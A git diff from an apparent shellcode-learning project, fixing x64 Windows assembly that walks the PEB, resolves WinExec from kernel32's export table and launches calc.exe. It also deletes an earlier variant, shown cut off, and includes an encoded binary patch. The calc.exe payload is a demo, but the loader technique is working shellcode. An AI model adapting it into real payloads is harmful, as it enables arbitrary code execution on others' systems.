z#J23BHm^t?JVf?PtssWPaa!g>%1spdRuRG4@vc!8>*CZLjv1d;yC;+bNp5!w(2kW~ zPsbxx3wtxn=)^>a=kXaY8^#lz?KxP{@XMu^bD#`E$%*aZRz}^ecRoRqeT4PaLDMtx zu1W`Kj-u`ip8d)#$I4YHRr|rk#XVIK*?SMLE$^Yd%u1BG{`mV7En=jtI6b-y+&-;0 zKMd{8jb6c%gDwenjhl7h-pN0d2y4; zy%X*ov=mKP66acE=7EKFsswP0#eYX??!pZsj-U;2N+D`9NrDIRwr@bX!kY`<6z6oX zuCzN})%0v3CYOJ`flX;8ETyxFYDD0yb|I4mR-vJs+4~cj3YE7JNkRVa3L`{IEIeRU z_z4LiYRAYZJjp85ukVULJBTqhSd|l3kKT(hhNVvW=o^8|jC84S%3_I2re)1QE(g#$ zm>SOXVJ+%OZQ3BUd#_phG4uM0x{c|JQHdYfxq~yR=n{>_hgJ5Ct#!nVMBZ295~`{n zr@MP^)FS_sUp@GCG9_Xz_{OAMio zzRMao0f^_-S^nma-~448DP(Kw#I0Zf0o2CKa(%dZ0CwA%FkSXXPZwF4j?(hFVnk-e zXI(<%LM$}l8KME!U#cwHJCmS&{o#F&%w18OQ%f_l^PWq-w-@ z%(ZwS?GRPk-^j&0Tney{lz(Y^ym~Vasd@Z1o-CrXdEmc}!)T9Nz=bJXs4h|@H6T#= zC@$;8>|23wS#J+|qaQ*ii#vwO@<+r1tIEl{KVeBfj|}jI#__IYZ1E3RoYVl8*Y==p zACKdT>Wce=HSO=2i>5fY9=8+;$rDug^5x`?COflCy&Ma}OT5JR+gBXe^wGuiP!vE5 zd4TAYDVddU)qzk-v3i&PI7I;yCUWRxX-eAr2Y5m}ntBzhPPVBR? z^fz;rn~nj=PB^J4XV}1ppyk%dw@nyOG9Yo1IWp!)%0Ttctllbo#@~htQMlq_MMd=F zYZtyQR*AXm4NdajAp?~=tdEkpFnZrk!Glq;2L4k=<3$}hMdT-AC%OEq>s{^a9Ebc- z^b9M*-d9gI#{jE!IXfR97f)y>0V}~>e)^{(UHA3|xbt%SkD9+kAhV)h_pcNW6wHNV zYDHYEc{@4_Ei!x!@1a(2Kl%oeWRh-^K?|V#qDRCKXBe1Y$fe$4ls&`!)WL{X&W)|W8L^fOyv>j);e5M7ZKxGB-zQV0$PW?r!+HTU;2Y|`2A?7w95qUxE-(5 zFk8*F1@)%3OWLWLg9_{$`q8yA86p?o^Aa|;g80QND-v>2?hzS3BL(~Mz4a6S zdKaYkiMi*PiuTB~NHg`pD|h{}8g|Cfy|P3FqV0_wBF(+2i2xQDx;q)4wW(cZ?u%LT zt5MqtFeJc8nLtFUcUe7z7%RYz&J2UL3r?9F0?5CQ@!=6@Q?1?!hi`>g zly2H~zhjON&uh+)8Kg6Jfoh0<#87*E0~h{2(!dO%Lnl)ofZG&YYfGj*xs#AL<$GM7 z#B<7`w^X>%3#U6-ulg*_e>XGd{}s0}`t#V6gPmDP026-AH$*bR%7h+!NpLd-wj{ zFV3~EbDit_v!(;qn#?gAT|$irzcBQS4@qG z#GEY_qD+%h!dE($??*J>)-nywg_T*+oW-y3OdR&0i)Y?8d>0E>!^T7~*Lvp6(A~QF zg^-0sjC4{dNm4xoj3i8t2u2uqVYgYmmBi`zdn{(>0OxsBLSmE6^m7rWZH=DYM ziKIZz#+CANbHQJApbOpZQX_Ub+G(s3KZ6dOk5nn0fRPL7{6!9Ms?tV+`0CQHC4@U0;}i)cXERsfMr?N*w* zyni4X$z1qr3>c9)zbq^m5sYkj16~nu=q3ywqr0c1biX`VdVd^xY^dAYuP-R(ZTvkU zilRr);BKdvtg+Ce?#{%B#iQRQ;K|oJfp*LB&!_q^_iX(ScDDqi&5rwrq@OA*R-75? z>hJTHbfkywV=}UZyvmC{4NWQb%zH!p^7;z`Jp>})L@vlp)DN7e)6)isZMP3A&vcH_ z+>X-fez>oz33ZSOP(QRW_}@fP9Z!V5uhov(C>dWdnVwc8cE7x}Y}vPFLMX2x@Y)_I zn}66zUt0L}a-X~<%r=Os#gx~xyx(c~34Dy%sY_B<@Z4+FG}JfVZYLY8=_if%19A^= zc4z7gV+PH4zQ8s6<|a6WmNQ!bNE;9JcFYb96^Ya}JsK+Y+{u|dAtO2da*r#VhUL!x zCFY(}`@UjnG#w@17_I8)BBtABT+?Y2{o(FCWTG@(e!yR7#AcwFeMa3L=d|r}+Q97% zVh+^f!tg^}yx;Fdm)w;l&k?LfKoauq9S;51*Z z>dfr0PLwD|v{gqp$%Zb;iPl|=p?91eV~z-Vi0>HPE}C{aP4wr|m#bz1~`T zaJeITuluEP6&?_l+@R#RUKW6dYQ1cb61h6jt@(Hh*|_9dL1=tnK`0eW8<45iztaVD zaK$b-`zoUcmwelEPlax(y*bk0vx#=w+)1x?<%&>&4-bp1B<>UNfF0Xypp^cHI?u!@ zd@dKgUcGMc&gqaX?zIjn1JCn>Zc2O2+{%__S8z?>7Mr@ZZ~V3)1LGS)@hvvZTz4ob zdh#Sb=w4^*4)Z0j@Sl4o+c#Sp?@1x8%g*<>*DL8w>;Z$9F6^bkkUNGP{o^vgy z4|u#7x+`qi55aRs&d3T+p@c*y+Qx=UESR`j#sjML&6XyFbDv^ zjK{B8ebUfnqS+?E1zQrs#QWrN6R-cI$}%(Wr{o_)d^zh+J`YXXaDjW}u1jE7jtoYP z9ri>;Fm^TSpOn!5H*}EtMP`3jpK)i{aN()Lqv!JPC{+ z%qlP{*ihoZmrD=J2Mvey8}V=EG=0E3>M%Q|DT=G`dt4n&#b3W_LZAdhjwX>Gj>#S< zLRO1we$FN1KLsDJIj^XfW&W3z*LjhC)6GFcY2$T_jfEumk@mQv04k`^e>;pz8Vvb%_g%NeN16N+#w94v)@a0v{Pu zQV=8EXj7{ykUy$s$Ir~!O(V(Tiap-IAgn}bL^r1&^Xpu> z^Ys0m2wx6yR88S+h)0BJftQsSQN1kfSm31)#C9{M#{0gl`{8c(M+dyED?h*6os)iR zDs|KyK#*t%ePZS#$0|CKE1`jcTxdnO8580+_#(F z-WPTEbiVuOS8@C}sy9zEwBwtjpmK^R>FX@ddjzm~q<0wY>{b}5AA;b4RxA{;I))hy zWPsd`=~G8>gPn0Cpn7ePNj3jGz5_;|ZQIXYVw(L`B?5%eEE)k3kyV4FkiME_< zcQPuT#2l&U+^7OC6!76xpXkv05^BcI#rz&ks#m`i3F+$&3Tx;D0}c z8f<<)S#Vihy#>W{4K`N>SbzG-MnP^ajqj%n@=uM`)QnGD&N*{sGX~jVW^p}o2&Qb- z{Vl!_vO7tLR*0ZR!{JfORK9=8m8^}&E&U?NcM=W|UdBz%$af(UIpN_QL@Y)v*33r6 z^3aPuOFBiwK~aI==&`TOn7%Ym&T+=c(6+f69Q@Y(eARXxPr;hX?wvLbt$s!`?BuXV zgyNR{yC1R+F-=Uc#br1C&dbewj!}xjFu*$|BL#{#idiv6M!5EwbmhnX7*G9E=t3xo zSZRi2Qz2K4XFcph`iUBYdZVI$!qh54qHU#nb5M=>0>*js%HlQoKprkC3{pZJ=u-(@E3G6 z0qbi&&XY`4_4OFKl-3x8#!z?p<32%}^_Is1Hq<%TI@nO2t7c5{jX1MZn@!F?&V_r& zyaag+>un02i-Kl09!YB*WfMh1x$|RaStS~=5zMj^wSe|WSbaE>$5rUCO zpU9=zC2H=^%FNui0bCed$reLB@k~{->4ysQn`V+MT^UF0r~5)7LafcjOwO>xrMwLw{*SRFxHuz9|s!&OCEy<=S;`A3nYIA$9?RZSiNpY%Y8lTK-%pcRZT-;f|oOmzK;8$-(G10 zZfwDK#r$GCslY&CLhi(fI$Fx_*r~dq^0jROPqp~Gopni*U%EooqLaX_b$+S8UQG)M zOG2aQiNGj)J3^y8K!wvE&O6LlbLNq=p4nqv8yPE?Cb_D4vV0niOQaO5A|0SR6{xQu zQmw_uPG}jWDLW@n=}7a|Sq_mCBlBd|V@c6bW-V0p6?eunyOev(4~p;bz++WQhuI^7 zG$F$u5jWi+-Io)FaV3k$6seb9WRe(72~SVwBq%ePbAyu+IvO0!X47=+#%sq-Qaf)~ zxi;E+mGxydgMtz&>-Z`k^3|OZIygsqh}lz5j!DAepjr=DJFOa+8NrAGfOlUrHF%o( zO0Z5Sh}+5eq|CYUpWadF*59}pRv_kJ7N2pK*x7eA^p4Fk0l<~9{6`oc%PmZVflhl) z1xprduRTByz#v!O}#qFw18~QcEr^G$z3d*->KE{fQ}| z0`pY-?Gx#@&wE^!JTJW;-gytDQG%Fm$~$!gsqIV7kni$%Jp<%v|DgHrAO9bQ9~HT@ zAVn>%7E%{V{1XwfUH-Y?zH14q||PJT}QftE#dvc6|T&fo8;0RptClU{~47h{Xxh?TM*90~J_KX6#s%EKc~ z;IHd6iL_w!9Q)jcs)y@Di|Y>*jxpdU!HUJwTrh$wOI$gq+7R)J`Us@uu})I%yVUh^ z-Hedtr?9iqDsEd2l?M%+?6W<26Qv;iH#K*0*C9W%V}@Bm)Ai$BXnuBW zXD22;GSJF{LR_4JHYBsBD>S%5RY^dQ^_SytS2#!T8tp3b7BT?%pIT;puhfD6czuG2 zf?jpRP=dN8{@#liNli>HD#?*}pgb%U-Hazw;lGT*mDeq;*h>`G%&R6(uz(A*U< zoF6#`rQ=ygq`rFn`*~4^@G+wxy&YYZ?l6cP6YYmg`2p5~w&bZkRaXWY#y4CQ?|x+u zKJ9JDc)KkiY&+Jwl~Cn*Fdwc67;wfUJ3j%D{xVEKMT?Gafj%cJymhwi-??A#o=;zy>Sg!x7}unkVjKx6C0 z;xw|3cIr#`NZLev)9lO!belCJ_g78ft<3SBF%g^f%o_Cd7{JHB>vH#1Fh>@|8Mbsm1XQ`v zH-mZS+i?+ew7ncfm&b0*5$i4wQ!9y*DzmEfh)GDH!3`4)Aut9XGCs4y5==^JX(=tY zhD-X5v1nO=%Z!fi25D>2xRO@r{vUC)5a|1#ad9DJQmXe0N7dT~M1^cfrf$XE7&fcg ztE_YBNcT}IQ5`e79=XbdhI7=lv&nPpmybqp!_Auh>NNi*p+{fWE+gsvkD%kx6BSE? zU>0r!)aSo_WB%#vT8H}8Qi^B=1+z2aqeNE%eW^s z;o4_Y)4+frn6R$3_yqDrtf$gU681Jbr`ksJstz^h(D>=4Z@U7(HvrO9;jaQYzEpK; z=W?MRWDM+&%;;D<%~`KSJi!r{_$%P#U2EHW2@YxG%qjq2`7=8dCQM1H961|S|0rj1 zoq93X5J@dX4~cFRl0JQ%hm0=!&UxJl&d=|}%ZLHGY%_USxUg!Byj%(rN>&(k^$r{DvQ9JSNKqW+{CGxmaBMXeRm*Bq z4mx7X4m*R(Lwd@4t*|>h^_QY^*p$pWCXT*4P$JsP!3S5k6;JSBcBJg241c>@jvSzF z1(`!*_aEuCee|NM=BHce+RJ${mxcG;y)m?)Nsu2%j%7QOCNjeV%yx+HQcu}KBvB1>cTBYymIi?yLf7AE|^NwFV3DWDmn*e zUfmsfKY-%D`C`t}wtgqK)MJBjYbccpVYSugNiFv0ecCXjXN8{-2@rZ}_MheKYp@i( zi1LeVhK9#e(D?a}f|JGEKRi~}AiyxQx?K4pDMYjirP*MF@|T=S7iP2S$;}-z)hx3% zXR|%0#iU(SwzLs1^I-3Htw2nuj|bC=Ln%C`Jyf5WSXqTGW{iWyGnMK1k2|rH1R*At zpWCt7xik}rsK5=Ei=><&Bx~`i+&?T+KPR3MHslHinAqydMRL~jr#G^)u#mqmN$XNC zScyD-t-zu=l+8!)o5)spiZofS1tIxl>PN`AZLV?VD}%<;ZaSWmuLaIW#rTzGaVs;I zn93oSuN77LTL+1Hwze(mV%1}HHt~0<-&)HC?d+0Q{TqDBj$eSueyq~BcCGB`t+96p zNWa0WTrpMKN0BsiOk)YYjG<^#rH_#;^*bgj{&d|+bw6x!F)~`kYq|PSF)T=g&zct8PP?Yyk9K{5d#ntWF>aP@vvt)$QmeHJsc zFsG+f&?_^T(j%57HkDAp{-JHkoK1s5-J=bMsWLzrLgNY0kgFuZs5H@M|ri z5ZSc!-SXDC_S;yjg`(}cR-y^0Mgwj$*(FZv)MsgBgt|U%z&PnjsQQMvftqy_Uh`$| zK6#>GF8rxVo?EaRrlq@rVJth z^Qdvprq&!(#%dFA`~Bu{mi52jaKWD(PIv9=#zNuNQZ#>|Fhw@Q*-RjJ!4?4@&QQ{l(LF)?>eKZ^{%M zyV02sd+)5DkiSJ|Q#vFdbHU4DkcKWkHt^x@KV@KiB#rO{-PzlKDJGgw8+4m2IquC(oy~)!Tg~|eEd;mIf`pCe zqaEbZr!m3AwV@cV^~!_!ITxq+GeDRyKN0OI4A5$xTV41pVzgsV#g|TYGf^RO3SkiL zMW%PQoQpoI6<3COX51yA&dPe2OH59M762S|CjyAj(?ir4iNPD@NmDw7uZXtL7BJQ$ zN~HZuV|ALdOI|nGP7}EL8sec`{PIA1XX60?=Ia|z6BtuWtc)(j33BeJrBaD2LM>Rv z9K{$e6BnXa9AyaxAja|&SdSXDu9M6-lXUnGm?uxWUy!CA&Yt(uro;G&>=e<3ur?mG z=g1{cMg?7a99fn&(S#UjQpMe8vPq-}jjn_dlq>y#`JV=lm^X_}P;udlU{u=5ijhlT z@w}Kd+nrwP{`{o%M=0Jo96TEFHcjn)rk$6e_>6iz4wn9z2lkM z|HI@KIa?N_`ws&6;}99P7x+ju;wlRq4`y=M-lyDNRQM=AJx&J&P_Q3;aWh^e+Bcb3 ztu@Wmp12zi@W5;B>%gU(rlmKgv%$&;&ygO}jEvJ>miLy(0E?})ZgZm(#{Z{+G@gs8Hat`2xME_%TNO5>6vXw5O4%4_)CDz?pM{~j{q>? z*(az^+@Fiit)0lGbXfAFmH6oM1ityQ#=9Zh0#thYcGgbygL|8Wvs}OU1QSvfJZ-GZ z>Bm-NqKXJ00_LcTie7zF3eoGN=0qL%Cs$DfN{rD(ZyDf@vA`SGhb+#13|)_Q_et6q9> zA^uU%pO`hgpNmTEluAR!8%SWrK1ccx(2#rM)}B%3-^3#m&!Z?wiY#+U;nN@i9ua!$ zjnAP}@ln{r796%d6z|#FtvF}}fj%`eR8hD(VoS8`$Nrioa*=~mdWDI_(Lb$iukk;v z?JAqQk_@H2>x+cX^+{Tm1)iuJ^)&NKj?K>H)FI@A4v6_g)j`15Tq2lR_&+r{AI)z~ z&eZvLO>XG$ztZIT{i=5eJkmajC%SET(J!c@QpbL&HVP)t>Bnl|+$^?&lIT;Xx(Izy z@7qG=4*Vfg@n?pLs!yjRLdhlnjR+sZ;*tLH%%sW!)~1Xg z#I5G32@!-TnQ_b?QIPdrTu7cTg)G($&dX{7v^mp)W}nhnt2pOg;UJFwW9PH)M>#~Vtx{wzp?(K^BQp! zgV`5>cz%K&} zr)CrH`Yy=|z4#KH@NoD?6OBbxEX=$2c+?fAl2sSe)Gv}-%ArDVJ(>kc8M&rzDRY)aSV=Scu|v9VUDX5@V?N7VJ|vOI@p6{v3{LN z{p2}la#P`GHx*fL{j-*C`;*~h=2=e*roQqkm2R2i6F#gb?Ef^0X$go<$8n%OTCItqsfLFD!qC!K`XZsI;1S^z9*u&P&S{Gc zl`rhztE0p@)dCniCbG`+v!~%hHAwpgk4zks^X3E|O=8==UlwgxC=~_7WP6ntMWV$n zfsX9FDzBu4lWfbwWQpTf7srdL2F&~2-5*u)h*5-G)t8_!LhFS zw|Z`W=b+U{Pu4ZpYN_Xi27csh@P6b6czv{+rHMXS5YVY!4zj71E##jz+K=~x25HDb z0J2Qo`nzXd)ac+2E;|+{@Hd%xn?+)aQa(5rJo-AcQFZK~Kj%4p#T(hLJ{WPsn>Q|* za*qbR4p#!b7#vN<;I|9;BQ$c*0RENE!xDG!laIZ*&0O1asXTQbtoTqAXnwB9Bx<#x zMDE(M{89$Gz!~^MZ>$%_i}rab<~z0Cd+D4|A^;yp<*hZ6Vv@|(#DiV~_=6^^-z&qf zrO->I5HsmW+N^vl#r~?4&t(30RE_}Aa`8hh0kBG2y>7>Y8}q)K_Kuf#CL;IUr@qp0dtO^{ zIm2rw66uv)#7r)M0S|{($=Q0T80i^E%UdyiGlHgrkxjOP7X#q3Ndgli- z;*r~g#m{Y$m?Z^P6^mlI9z(}{@v^bh+hXhV5uBSRiKJUUig=@xF^+uO)(AcqI!NHdp}sfaP$oJlB(6mAXrs?YqKF(|=_ zWeRu{$r*PCu?;>On9l2cs=Z%;*Mx4#ue~#h{D-);qG}yTFo zA01_Erxa}(50dua5Oz+p(fH=C7w{?Ab7YyO);Sc;riThWHMD((ic4NKuMqn$J{rB4 zae9W9Z&oO75VLqom6?;{mPEjvE#emupY&|57K~0Bo594{VMb;3|DH0b#3hg7bA(Io z7jJb!>((}Bx5K-nT&L)MXMcukNo*4;34yfX(fY%&P7|th)fR?`q;v+p;m7y&-dlU; zG-q<}tXK4}ZY69KKbsFzL^8t))RJjdc{ zB+r2ogCgdoveRXaJorL3l)~-&g9OR*P1drMmTWd#ZAQ6`g2ZoDvje$RFqO9FUR){%=FJ^7SiJ$w7^67RL zVWfIQ)wsj9S;zImYCbB{V<|K}Ns;014QP31)YZ9k(Jr$5klW_2(}btK*y;Qql$wMJ z!5ME$Q=;cdSzs?AnIXS{&H7r}TBfj+eP357k!WK2EwzZ2@ZU2^CFWl->aEDwp5G4! z^bOMw9QA{0x`uPQ&>trT{aiDLs=vcRC&ZJbV$_}qYKtD+xzk1<({dc_Olq4tT4(*> zjJg>yd~Ng8K|f5Su&P*lD){|zX6|Cq3Q`M&*lOmlK^us^9eb=$u2Qvm-dwR%6QlS+T}2m|Xl$@((4TdR&kL@U|}-D*yQ6`13Eo{aXE z!!o!^-kNkl46JyT)y?fz&UcZ(Gu#kl%zl+T`|P-Lu;)KW6DwQEv9W?gYu1>|lsX6v zd=%<}k;bTXX7Op2XObGP+*GZad+D+q@VmMUF2o77(+^P5_Gy0Tu>VMl@7!jPuIR|4 z@B3R5J^^moCF^MBMX^i_Xr{6^o_>C8ooQoBmK}AqgWUD4c~IS3aY=05u}c!wxMud+ z@k)#XW45*36*5v5VYR(TzLg(`bGZHZ+(n9?;AL-Z|3rSL7F3xXGm4lC5A)84wtnr+ zz;BGTk@!Eh_>hkDn&3SGC-Fb`9DVJW#$R&VV~$v}LSFHr@N)RcZH73QT}j&urj*_BlX%3b7|0mZb@y z5GEcB>qjQoFg6aK3^M^RuuBZ_VUhc{VRZBexI|1}8^GfU((akj{iVrhk?|kFX#5Xg zB(WmWPtQ_w9FG=;5T{xP#Dp=a$5$8jZjaO$xR(^_(ln&*V@e#~EIr&Wg5~L7RntEm z#})J;eVRk5d{P*lpqRCzC!JOLQ>iu3M5|sfBupmth{)>u_=V;&93lo}=-})Z!U7mC zaobm>bZh^U>uaf1Xlp)t)i;{2(IF8{8N5@;N!wvcA`1i5E76(_rMQB>}Fjdp-;hXJ^*> zlN-F+!YO=Pal-fL&6tmj7H-4F5bJyz%#~BA09zHZy1tcY`@FFV$oy#yGb<_BzZv3a z=sPT@owHhC5H!ZC^_ZV5bNxVed1Aa~3AQ-Ur@!{E02B3`@dcb(PK9ya4AbKGabldQ zYYJ1~OAbM$q+kwTbHWZ+>Z8?k`P2Qdv$K=c>p0Xb-IEI&>2XyL8&4JG0^4Uh4PRkP zsHjWig#>H$1cOyooR!W$T82RNS3V+osjSy9@-I1CQ!I{W0*X93)2E$5V31FRrf7-g z&Vv(7&~P`alPU9PuN1j zQpA~)G*0A-3wpOQ0TeCf@}nLs8W%ESpVt_DJk;0_0i0seiqQ^#}>n=iUEV0L=);y!uCU55T z@6MsU={B%%iXlXiLw9+$^Wl9Hobu9ZqCtM%lGu0g%)8+9$g(pqM1a=9AJ_go3`!FPqGAF(*M z_xee47q@XQY1i@B(Jq{L?NpGmx$oCZ)d*cjI8&LyrZUcvo#}ubs3xtDhe!MUxSI^# zPb4H$@b*ZIR_*ev@TG1#5miuT7DLI7!5%>=+Rp3f8ZbMs%bZ>zcPIEOVm*WY6JnT$`x zw+ShuY!!1I>}WWrMq00adnv@?`ZsHqmqp`8S1?8yz?Rh8X;`3pR~-kmZm*oviC|MZ z4A2Cj{guKedcQ3*n{r1ku#@2)AB$XMd9Dry`gs|#!g!M0q{Z5T50US}C{6*`^wFO% zfm3w(iNWmj*}QEr!bo$QEfoa?<+oMqk33|m|8PCcSJYBkFdU9b9m1AW zFt`TCh~V4PLsSb^rnm2jEuA0RlR=2P*^zW%+{{qay!C(LY literal 0 HcmV?d00001 diff --git a/shellcode.asm b/shellcode.asm index 2bf5514..653b538 100644 --- a/shellcode.asm +++ b/shellcode.asm @@ -1,59 +1,59 @@ [bits 64] -;; TODO: DEBUG this shiiiit (x64dbg) section .text: - global _start + global _start _start: + ; Access PEB structure xor rbx, rbx -mov rbx, gs:[0x60] ; RBX = address of PEB struct -mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA -add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList +mov rbx, gs:[0x60] ; RBX = address of PEB struct +mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA +add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList ; Go down the double-link list of PEB_LDR_DATA -mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll) -mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll) -mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll) +mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll) +mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll) +mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll) ; Get VA address of kernel32.dll -mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll) -mov r8, rbx ; R8 = RBX (address of kernel32.dll) +mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll) +mov r8, rbx ; R8 = RBX (address of kernel32.dll) ; Get VA address of ExportTable (kernel32.dll) -mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset) -add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders +mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset) +add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders xor rcx, rcx -add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA) -mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA -add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable -mov r9, rbx ; R9 = &ExportTable +add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA) +mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA +add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable +mov r9, rbx ; R9 = &ExportTable ; Get VA address of ExportTable.AddressOfFunctions xor r10, r10 -mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA -add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions +mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA +add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions ; Get VA address of ExportTable.AddressOfNames xor r11, r11 -mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA -add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames +mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA +add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames ; Get VA address of ExportTable.AddressOfNameOrdinals xor r12, r12 -mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA -add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals +mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA +add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals ; Get address of WinExec function exported from kernel32.dll xor rcx, rcx -add cl, 0x7 ; RCX = function name length ("WinExec" == 7) +add cl, 7 ; RCX = function name length ("WinExec" == 7) xor rax, rax -push ax ; STACK + null terminator (2) -mov rax, 0x00636578456E6957 ; RAX = function name = "cexEniW" (WinExec) + 0x00 +push rax ; STACK + null terminator (8) +mov rax, 0x00636578456E6957 ; RAX = function name = \0 + "cexEniW" (WinExec) push rax ; STACK + function name address (8) -mov rsi, rsp ; RSI = &function_name +mov rbx, rsp ; RSI = &function_name call get_winapi_func mov r13, rax ; R13 = &WinExec @@ -64,18 +64,20 @@ mov r13, rax ; R13 = &WinExec ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL ; ); -xor rax, rax xor rcx, rcx xor rdx, rdx -push ax ; STACK + null terminator (2) -mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe) -push rax ; STACK + command string (8) -mov rcx, rsp ; RCX = LPCSTR lpCmdLine +push rcx ; STACK + null terminator (8) +mov rcx, 0x6578652e636c6163 ; RCX = "exe.clac" (command string: calc.exe) +push rcx ; STACK + command string (8) -mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL) -; Why is here "sub rsp, 0x20" originally ??? -call r13 ; Call WinExec(rax, rdx) +mov rcx, rsp ; RCX = LPCSTR lpCmdLine +mov rdx, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL) + +and rsp, -16 ; 16-byte Stack Alignment +sub rsp, 32 ; STACK + 32 bytes (shadow space) + +call r13 ; WinExec("calc.exe", SW_SHOWNORMAL) get_winapi_func: ; Requirements (preserved): @@ -84,7 +86,7 @@ get_winapi_func: ; R11 = &AddressOfNames (ExportTable) ; R12 = &AddressOfNameOrdinals (ExportTable) ; Parameters (preserved): - ; RSI = (char*) function_name + ; RBX = (char*) function_name ; RCX = (int) length of function_name string ; Returns: ; RAX = &function @@ -98,16 +100,13 @@ get_winapi_func: ; Loop through AddressOfNames array: ; array item = function name RVA (4 bytes) loop: - mov rcx, [rsp] ; RCX = length of function_name string xor rdi, rdi ; RDI = 0 + mov rcx, [rsp] ; RCX = length of function_name string + mov rsi, rbx ; RSI = (char*) function_name mov edi, [r11+rax*4] ; RDI = function name RVA add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll - repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name) - ; FIXME: Item NOT FOUND: RDI, RSI - ; Something's wrong with stack placing of the function name string. - ; Why is there "shr rax, 0x8" originally? WTF? - ; R11 = correct + repe cmpsb ; Compare byte *RDI (array item str) and *RSI (param function name) je resolve_func_addr ; Jump if exported function name == param function name @@ -116,7 +115,7 @@ get_winapi_func: resolve_func_addr: pop rcx ; STACK - RCX (8) = remove length of function_name string - mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2) - mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4) + mov ax, [r12+rax*2] ; RAX = OrdinalNumber = &AddressOfNameOrdinals + (counter * 2) + mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (OrdinalNumber * 4) add rax, r8 ; RAX = &function = function RVA + &kernel32.dll - ret + ret \ No newline at end of file diff --git a/shellcode.asm.bak b/shellcode.asm.bak deleted file mode 100644 index d3ca1f7..0000000 --- a/shellcode.asm.bak +++ /dev/null @@ -1,98 +0,0 @@ -[bits 64] - -section .text: - global _start - -_start: -xor rdi, rdi ; RDI = 0x0 -mul rdi ; RAX&RDX =0x0 -mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB -mov rbx, [rbx+0x18] ; RBX = Address_of_LDR -mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll -mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll -mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll -mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) -mov r8, rbx ; RBX & R8 = &kernel32.dll - -; Get kernel32.dll ExportTable Address -mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader -add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader -xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add -add cx, 0x88ff -shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 -mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable -add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable - -; Get &AddressTable from Kernel32.dll ExportTable -xor r10, r10 -mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable -add r10, r8 ; R10 = &AddressTable - -; Get &NamePointerTable from Kernel32.dll ExportTable -xor r11, r11 -mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable -add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) - -; Get &OrdinalTable from Kernel32.dll ExportTable -xor r12, r12 -mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable -add r12, r8 ; R12 = &OrdinalTable - -jmp short apis - -; Get the address of the API from the Kernel32.dll ExportTable -getapiaddr: -pop rbx ; save the return address for ret 2 caller after API address is found -pop rcx ; Get the string length counter from stack -xor rax, rax ; Setup Counter for resolving the API Address after finding the name string -mov rdx, rsp ; RDX = Address of API Name String to match on the Stack -push rcx ; push the string length counter to stack -loop: -mov rcx, [rsp] ; reset the string length counter from the 